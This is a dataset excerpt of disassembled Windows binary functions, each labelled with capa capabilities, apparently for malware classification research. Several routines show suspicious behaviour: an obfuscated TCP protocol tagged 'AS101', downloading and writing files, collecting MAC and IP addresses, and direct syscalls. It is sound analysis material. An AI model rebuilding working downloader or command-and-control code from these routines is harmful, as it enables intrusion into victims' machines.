joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e0d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
mov edi, edx
mov esi, ecx
call fcn.004082f0
add esp, 0xc
cmp dword [0x417f08], 3
lea eax, [ebp - 0x20c]
jne 0x402e79
push ebx
mov ebx, 0x104
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x415c60
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.004048a7
add esp, 0xc
pop ebx
jmp 0x402e85
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x415c64
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
call fcn.00404706
leave
ret

Function at 0x4030ba
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
xor esi, esi
xor eax, eax
mov dword [ebp - 0x1c], esi
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 8], esi
cmp ecx, 0xffffffff
je 0x40310e
xor eax, eax
shld eax, edx, 9
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 8]
shl eax, 9
push eax
push ebx
shl edx, 9
push ecx
mov dword [ebp - 0x14], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, eax
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404706
leave
ret
Function at 0x403291
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x415cd8
push ecx
lea eax, [ebp - 8]
xor edi, edi
push eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], edi
call fcn.00404a9e
add esp, 0xc
test eax, eax
je 0x4032ce
xor eax, eax
jmp 0x40339b
push esi
push 2
push edi
push dword [ebp - 8]
call fcn.00405870
push dword [ebp - 8]
call fcn.00405c48
push edi
push edi
push dword [ebp - 8]
mov esi, eax
call fcn.00405870
lea eax, [ebx + esi]
push eax
mov dword [ebp - 0x1c], eax
call fcn.00405717
push dword [ebp - 8]
mov ebx, eax
push 1
push esi
push ebx
mov dword [ebp - 0x10], ebx
call fcn.00404d70
push dword [ebp - 8]
call fcn.00404e88
lea eax, [ebx + esi]
mov esi, dword [ebp - 0x18]
push esi
push edi
push eax
mov dword [ebp - 0xc], eax
call fcn.004082f0
mov eax, esi
cdq
and edx, 3
add esp, 0x40
lea esi, [edx + eax]
sar esi, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00405cd3
pop ecx
test esi, esi
jle 0x403357
mov ebx, dword [ebp - 0xc]
call fcn.00405cb0
mov dword [ebx + edi*4], eax
inc edi
cmp edi, esi
jl 0x403347
mov ebx, dword [ebp - 0x10]
push 0x415ce0
push dword [ebp - 0x14]
lea eax, [ebp - 8]
push eax
call fcn.00404a9e
add esp, 0xc
pop esi
test eax, eax
jne 0x4032c7
push dword [ebp - 8]
push 1
push dword [ebp - 0x1c]
push ebx
call fcn.00405056
push dword [ebp - 8]
call fcn.00404e88
add esp, 0x14
test ebx, ebx
je 0x403398
push ebx
call fcn.004057a9
pop ecx
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00404706
leave
ret
Function at 0x4037e9
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x3a98
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], ecx
xor ebx, ebx
mov dword [ebp - 8], eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4038de
lea eax, [ebp - 8]
push eax
push esi
push 0
push 0x10
push 2
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov edi, eax
cmp edi, 0x6f
jne 0x403850
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x403860
cmp ebx, 3
jae 0x4038c5
mov eax, dword [ebp - 8]
jmp 0x40380c
test edi, edi
jne 0x4038c5
mov ecx, esi
test esi, esi
je 0x4038c1
cmp dword [ecx + 0x34], 6
jne 0x403876
cmp dword [ecx + 0x1c], 0
jne 0x40387f
mov ecx, dword [ecx + 8]
test ecx, ecx
jne 0x40386a
jmp 0x4038c1
mov eax, dword [ecx + 0x2c]
mov edx, dword [ebp - 0xc]
mov dword [edx], eax
mov ax, word [ecx + 0x30]
mov word [edx + 4], ax
mov eax, dword [ecx + 0x10]
mov edx, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 4]
mov byte [edx + 3], al
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 5]
mov byte [edx + 2], al
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 6]
mov byte [edx + 1], al
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [edx], al
xor edi, edi
jmp 0x4038c8
push 0xfffffffffffffffd
pop edi
test esi, esi
je 0x4038e1
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4038e1
or edi, 0xffffffff
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404706
leave
ret
Function at 0x403a5e
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, edx
push edi
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x420], ecx
call fcn.00403ba2
mov esi, eax
mov dword [ebp - 0x41c], esi
test esi, esi
jne 0x403b93
mov edi, 0x206
push edi
mov word [ebp - 0x210], ax
xor ebx, ebx
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.004082f0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push ebx
push eax
call fcn.004082f0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x4193a8
mov ebx, edi
xor eax, eax
cmp word [ebx], ax
je 0x403b22
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.0040484b
add esp, 0xc
lea eax, [ebp - 0x418]
push ebx
push 0x104
push eax
call fcn.004048a7
add esp, 0xc
xor eax, eax
add ebx, 0x118
cmp ebx, 0x419920
jl 0x403aeb
mov ebx, dword [ebp - 0x424]
mov esi, dword [ebp - 0x420]
cmp word [edi], ax
je 0x403b50
push ecx
push ebx
mov edx, esi
mov ecx, edi
call fcn.004043f5
pop ecx
pop ecx
xor eax, eax
add edi, 0x118
cmp edi, 0x419920
jl 0x403b3c
push 0x4191a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.004048a7
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 2
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x41c]
pop ecx
cmove eax, ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404706
leave
ret
Function at 0x403dc6
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b4
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
test eax, eax
lea esi, [ebp - 0x808]
cmovne esi, eax
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [esi], ax
lea eax, [ebp - 0x9b0]
push eax
xor esi, esi
push 0x101
mov dword [ebp - 0x9b4], edx
mov ebx, ecx
mov dword [ebp - 0x80c], esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403e1c
xor eax, eax
jmp 0x403e70
push 6
push 1
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x403e18
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403e7f
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
pop ebx
push ebx
mov dword [ebp - 0x80c], eax
push 4
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x403e82
cmp dword [edi], esi
je 0x403e6e
push dword [edi]
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], esi
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404706
leave
ret
push 2
pop ebx
mov eax, dword [eax + 0xc]
push dword [ebp - 0x9b4]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x818], eax
mov word [ebp - 0x81c], bx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403e60
xor esi, esi
inc esi
jmp 0x403e6e

Function at 0x404019
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov eax, ecx
push esi
xor esi, esi
mov ebx, edx
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x40409a
push edi
mov edi, dword [ebp + 8]
mov eax, esi
test edi, edi
jle 0x40403f
not byte [eax + ebx]
inc eax
cmp eax, edi
jl 0x404037
lea eax, [edi + 7]
push eax
call fcn.00405e37
mov ecx, eax
lea eax, [edi + 5]
mov word [ecx], ax
mov eax, dword [str.AS101]
mov dword [ecx + 2], eax
mov al, byte [0x417f14]
push edi
mov byte [ecx + 6], al
lea eax, [ecx + 7]
push ebx
push eax
mov dword [ebp - 4], ecx
call fcn.00408f50
mov eax, dword [ebp - 8]
add esp, 0x10
lea ebx, [edi + 7]
mov edi, dword [ebp - 4]
push esi
push ebx
push edi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404092
xor ecx, ecx
inc ecx
cmp eax, ebx
cmove esi, ecx
push edi
call fcn.0040622b
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x404290
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
push esi
test eax, eax
lea esi, [ebp - 0x8cc]
cmovne esi, eax
push edi
mov edi, ecx
xor eax, eax
mov word [esi], ax
xor ebx, ebx
mov dword [ebp - 0x8d0], edx
mov dword [ebp - 0x8d8], edi
cmp dword [edi], eax
je 0x4043e4
test edx, edx
je 0x4043e4
push 0xc7
lea eax, [ebp - 0xcb]
push ebx
push eax
mov byte [ebp - 0xcc], bl
call fcn.004082f0
add esp, 0xc
lea eax, [ebp - 0xcc]
push ebx
push 2
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4043e4
test eax, eax
je 0x4043e4
movzx eax, word [ebp - 0xcc]
mov dword [ebp - 0x8d4], eax
add eax, 2
push eax
mov esi, ebx
call fcn.00405e37
mov edi, eax
mov eax, dword [ebp - 0x8d4]
pop ecx
test eax, eax
jle 0x4043d9
push ebx
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x8d8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4043d3
test eax, eax
je 0x4043d3
add esi, eax
mov eax, dword [ebp - 0x8d4]
cmp eax, esi
jg 0x404349
cmp esi, 5
jl 0x4043d9
mov ecx, str.AS101
sub esi, 5
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x4043d9
movzx eax, byte [ecx + 4]
cmp al, byte [edi + 4]
jne 0x4043d9
test esi, esi
jle 0x40439f
lea eax, [edi + 5]
mov ecx, esi
not byte [eax]
inc eax
dec ecx
jne 0x404399
mov ebx, dword [ebp - 0x8dc]
lea eax, [edi + 5]
cmp dword [ebx], esi
jl 0x4043bd
push esi
push eax
push dword [ebp - 0x8d0]
call fcn.00408f50
mov dword [ebx], esi
jmp 0x4043cb
push dword [ebx]
push eax
push dword [ebp - 0x8d0]
call fcn.00408f50
xor ebx, ebx
add esp, 0xc
inc ebx
jmp 0x4043d9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test edi, edi
je 0x4043e4
push edi
call fcn.0040622b
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00404706
leave
ret
Function at 0x4043f5
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe24
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
xor ebx, ebx
lea eax, [ebp - 0x610]
push ebx
push eax
mov dword [ebp - 0xe20], edx
mov esi, ecx
call fcn.004082f0
add esp, 0xc
lea eax, [ebp - 0x610]
push esi
push 0x1ff
push eax
call fcn.0040484b
mov edx, esi
mov ecx, edx
add esp, 0xc
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x404446
sub ecx, esi
sar ecx, 1
lea edi, [ebp - 0x60e]
mov esi, 0x419920
lea edi, [edi + ecx*2]
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x40446d
sub edx, ecx
sar edx, 1
push 0x10000
lea edi, [edx*2 + 0x202]
call fcn.00405717
mov dword [esp], 0x10000
mov esi, eax
push ebx
push esi
call fcn.004082f0
add esp, 0xc
xor eax, eax
push 0x7fe
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push ebx
push eax
mov dword [ebp - 0xe1c], 0x10000
call fcn.004082f0
add esp, 0xc
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push ebx
push eax
mov dword [ebp - 0xe18], ebx
mov dword [ebp - 0xe14], ebx
call fcn.004082f0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0xe20]
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe18]
push eax
call fcn.00403dc6
pop ecx
pop ecx
test eax, eax
je 0x4045e8
lea eax, [ebp - 0xe10]
push eax
push edi
lea eax, [ebp - 0x610]
mov edi, 0xbba
push eax
mov edx, edi
lea ecx, [ebp - 0xe18]
call fcn.00403ee3
add esp, 0xc
test eax, eax
je 0x4045e8
lea eax, [ebp - 0xe10]
push eax
lea eax, [ebp - 0xe1c]
push eax
push esi
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.004040a0
add esp, 0xc
test eax, eax
je 0x4045e8
cmp word [ebp - 0xe14], di
jne 0x4045e8
cmp dword [ebp - 0xe1c], ebx
je 0x4045e8
cmp byte [esi], bl
jne 0x4045e8
push 0x4191a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.004048a7
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x415ce0
push eax
lea eax, [ebp - 0xe14]
push eax
mov dword [ebp - 0xe14], ebx
call fcn.00404a9e
add esp, 0xc
cmp dword [ebp - 0xe14], ebx
je 0x4045e5
lea edx, [ebp - 0xe14]
lea ecx, [ebp - 0xe18]
call fcn.0040460f
xor ebx, ebx
inc ebx
test esi, esi
je 0x4045f3
push esi
call fcn.004057a9
pop ecx
lea ecx, [ebp - 0xe18]
call fcn.00403ec3
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00404706
leave
ret
Function at 0x40460f
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040b4f0
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push esi
push 4
mov edi, ecx
lea eax, [ebp - 0x1008]
push eax
push dword [edi]
mov ebx, edx
mov dword [ebp - 0x100c], edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x404650
xor eax, eax
jmp 0x4046a9
cmp dword [ebp - 0x1008], esi
jbe 0x404698
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
test edi, edi
je 0x404698
push dword [ebx]
lea eax, [ebp - 0x1004]
push edi
push 1
push eax
call fcn.00405056
add esi, edi
mov edi, dword [ebp - 0x100c]
add esp, 0x10
cmp esi, dword [ebp - 0x1008]
jb 0x404658
push dword [ebx]
call fcn.00404e88
cmp esi, dword [ebp - 0x1008]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404706
leave
ret
Function at 0x40f186
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004065ca
mov dword [ebp - 0x14], eax
cmp dword [0x418d84], edi
jne 0x40f277
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40f204
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40f357
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40f357
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40f357
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x418d84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x418d88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x418d8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x418d94], eax
test eax, eax
je 0x40f274
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x418d90], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40f29c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40f28f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40f2b1
push 4
pop eax
jmp 0x40f359
cmp dword [ebp - 0x14], edi
je 0x40f2b1
push dword [0x418d84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40f296
mov eax, dword [0x418d90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40f30f
cmp dword [0x418d94], esi
je 0x40f30f
push eax
call ebx
push dword [0x418d94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40f30f
test eax, eax
je 0x40f30f
call ecx
test eax, eax
je 0x40f304
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40f304
test byte [ebp - 8], 1
jne 0x40f30f
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40f33f
mov eax, dword [0x418d88]
cmp eax, esi
je 0x40f33c
push eax
call ebx
test eax, eax
je 0x40f33c
call eax
mov edi, eax
test edi, edi
je 0x40f33c
mov eax, dword [0x418d8c]
cmp eax, esi
je 0x40f33c
push eax
call ebx
test eax, eax
je 0x40f33c
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x418d84]
call ebx
test eax, eax
je 0x40f357
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40f359
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404706
leave
ret
Function at 0x69a370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x69a38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x6c3074
push ecx
mov edi, eax
call fcn.006ae198
mov esi, eax
add esp, 8
test esi, esi
jne 0x69a3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.006ae02e
push esi
call fcn.006adfb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x69d850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x69d8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x6c8720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x69d8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.006ae1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x69d8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x6c8720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x69d92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.006af082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x69d957
mov word [eax], si
add eax, 2
push eax
call fcn.006af030
add esp, 4
jmp 0x69d959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x69d8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x69d8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x69dff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x69e080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x69e0c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x6c3458
push ecx
call fcn.006ae1e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.006ae1e1
add esp, 0x10
jmp 0x69e0d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.006ae20b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.006addff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.0069e050
mov eax, dword [0x6c8728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x69e13b
push esi
call fcn.0069dfb0
add esp, 4
mov dword [0x6c8728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x69e14c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.0069dff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x6a1440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x6a14b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x6a148e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x6a1471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x6a147e
add edx, ecx
cmp ebx, edx
jb 0x6a148a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x6a1467
xor ecx, ecx
jmp 0x6a14a2
test eax, eax
jne 0x6a1492
xor ecx, ecx
jmp 0x6a14a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.006a13c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret